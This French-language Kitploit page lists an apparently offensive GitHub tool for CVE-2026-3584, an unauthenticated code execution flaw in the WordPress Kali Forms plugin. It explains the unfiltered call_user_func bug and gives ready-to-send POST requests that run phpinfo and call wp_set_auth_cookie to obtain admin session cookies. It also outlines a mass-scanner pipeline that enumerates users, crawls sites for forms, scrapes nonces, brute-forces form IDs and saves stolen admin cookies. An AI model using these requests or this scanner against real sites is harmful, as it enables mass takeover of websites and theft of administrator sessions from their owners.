Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-3584 — CVE-2026-3584 | Kitploit
Outils/GitHubGitHub/yucaerin/cve-2026-3584
Escalade de PrivilègesReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionDéveloppement de Charges Utiles
GitHubyucaerin/cve-2026-3584

CVE-2026-3584

CVE-2026-3584

Voir le dépôt
313il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-3584 – WordPress Kali Forms <= 2.4.9 - Exécution de Code à Distance Non Authentifiée via form_process

🔥 Résumé de la vulnérabilité

Le plugin WordPress Kali Forms versions <= 2.4.9 présente une vulnérabilité critique d'exécution de code à distance non authentifiée (RCE). Cette faille permet aux attaquants non authentifiés d'exécuter du code PHP arbitraire sur le serveur et d'obtenir des privilèges d'administrateur complet via l'endpoint AJAX kaliforms_form_process exposé publiquement sans contrôles d'autorisation.

La vulnérabilité réside dans la fonction form_process qui accepte des paramètres contrôlés par l'utilisateur (y compris thisPermalink et entryCounter) et exécute des callbacks PHP arbitraires, conduisant à :

  • Remote Code Execution (RCE) via phpinfo(), system(), eval(), etc.
  • Escalade de Privilèges via wp_set_auth_cookie() pour obtenir des sessions administratives

🔍 Plugin Vulnérable

  • Nom du plugin : Kali Forms – WordPress Form Builder
  • Version vulnérable : <= 2.4.9
  • Type de vulnérabilité : Exécution de Code à Distance Non Authentifiée + Escalade de Privilèges
  • CVE ID : CVE-2026-3584
  • Score CVSS : 10.0 (Critique)
  • Impact : Compromission totale du site, accès administrateur, persistance
  • Lien : https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process

🐛 Fonctionnement de la Vulnérabilité

Analyse technique du bug

La vulnérabilité se manifeste dans la fonction form_process du plugin Kali Forms qui gère les requêtes AJAX. Le code vulnérable est exposé via :

// Endpoint AJAX accessible sans authentification
add_action('wp_ajax_nopriv_kaliforms_form_process', array($this, 'form_process'));

Flux de l'Exploit :

  1. Endpoint non protégé : L'endpoint /wp-admin/admin-ajax.php?action=kaliforms_form_process est accessible aux utilisateurs non authentifiés via le hook wp_ajax_nopriv_.

  2. Paramètres contrôlables par l'utilisateur :

    • data[thisPermalink] - peut contenir un nom de fonction PHP arbitraire
    • data[entryCounter] - peut contenir un nom de fonction PHP arbitraire
    • data[formId] - ID du formulaire à traiter
  3. Exécution de callbacks non filtrés : Le code vulnérable exécute des callbacks PHP sans validation :

    $callback = $_POST['data']['thisPermalink'];
    call_user_func($callback);  // Aucun contrôle !
    
  4. Chaîne d'exploitation :

    Attaquant → Requête POST → kaliforms_form_process
         ↓
    thisPermalink=phpinfo → call_user_func('phpinfo')
         ↓
    Exécution de code PHP → phpinfo() exécuté
         ↓
    entryCounter=wp_set_auth_cookie → Cookie administrateur généré
         ↓
    Accès administrateur complet
    

Exemple de requête vulnérable :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[thisPermalink]=phpinfo&
data[email][email protected]

Résultat : Le serveur exécute phpinfo() et retourne des informations complètes sur la configuration PHP.

Pour l'escalade de privilèges :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kaliforms_form_process&
data[formId]=1&
data[nonce]=abc123&
data[entryCounter]=wp_set_auth_cookie&
data[email][email protected]

Résultat : WordPress exécute wp_set_auth_cookie(user_id) où user_id correspond souvent à formId, générant des cookies de session administrateur valides.


🛡️ Mass Scanner - Fonctionnement

Architecture du Scanner

Le mass_scanner.py implémente un pipeline automatisé en 4 phases pour l'exploitation complète de la vulnérabilité CVE-2026-3584 :

┌──────────────────────────────────────────────────────────────────────────────┐
│                    MASS SCANNER PIPELINE                                     │
├──────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│  Phase 1 : Reconnaissance API REST                                          │
│  ├─ Enumère les utilisateurs : /wp-json/wp/v2/users                         │
│  └─ Enumère les articles : /wp-json/wp/v2/posts                             │
│      → Identifie user_id et post_id pour escalade                           │
│                                                                              │
│  Phase 2 : Découverte des formulaires                                       │
│  ├─ Crawl du site (depth=2)                                                  │
│  ├─ Cherche les patterns : 'KaliFormsObject', 'kaliforms'                   │
│  ├─ Extrait le nonce du JavaScript                                          │
│  └─ Extrait le formId du HTML                                               │
│      → Trouve tous les formulaires Kali Forms vulnérables                   │
│                                                                              │
│  Phase 3 : Test RCE                                                          │
│  ├─ Envoie : data[thisPermalink]=phpinfo                                    │
│  ├─ Vérifie : 'PHP Version' dans la réponse                                 │
│  └─ Sauvegarde : result/target_phpinfo.html                                 │
│      → Confirme l'exécution de code à distance                              │
│                                                                              │
│  Phase 4 : Escalade de privilèges                                           │
│  ├─ Envoie : data[entryCounter]=wp_set_auth_cookie                          │
│  ├─ Extrait : cookies wordpress_logged_in + wordpress_sec                   │
│  ├─ Vérifie : Accès à /wp-admin/ sans redirection                           │
│  └─ Sauvegarde : result_cookie/target.txt                                   │
│      → Obtient un accès administrateur complet                              │
│                                                                              │
└──────────────────────────────────────────────────────────────────────────────┘

Détails techniques de l'implémentation

1. Normalisation automatique des URLs

def normalize_url(self, target):
    # Ajoute automatiquement http:// ou https://
    # Essaie d'abord HTTPS, puis fallback sur HTTP
    # Gère les ports personnalisés (ex. :8080)

2. Énumération de l'API REST

def enumerate_users_api(self, target):
    # GET /wp-json/wp/v2/users
    # Extrait tous les user_id disponibles
    # Utilisé pour mapper formId → user_id
    
def enumerate_posts_api(self, target):
    # GET /wp-json/wp/v2/posts
    # Extrait tous les post_id disponibles
    # Identifie les chevauchements user_id/post_id

3. Découverte des formulaires (Crawling intelligent)

def discover_pages(self, target, max_depth=2):
    # Crawl récursif du site
    # Cherche les patterns JavaScript : 'KaliFormsObject'
    # Filtre les URLs non nécessaires (js, css, images)
    # Suit uniquement les liens internes
    # Retourne la liste des pages avec Kali Forms

4. Extraction des données du formulaire

def extract_form_data(self, page_url):
    # Extrait le nonce du JavaScript :
    #   KaliFormsObject = { ajax_nonce: "abc123" }
    # Extrait le formId du HTML :
    #   data-id="1" ou [kaliform id="1"]
    # Si nonce trouvé mais pas de formId :
    #   Brute force ID 1-10

5. Test RCE

def test_rce(self, target, form_id, nonce):
    # POST /wp-admin/admin-ajax.php
    # Payload : data[thisPermalink]=phpinfo
    # Vérifie : len(response) > 10000 et 'PHP Version' présent
    # Sauvegarde le HTML complet pour analyse
Télécharger l’outil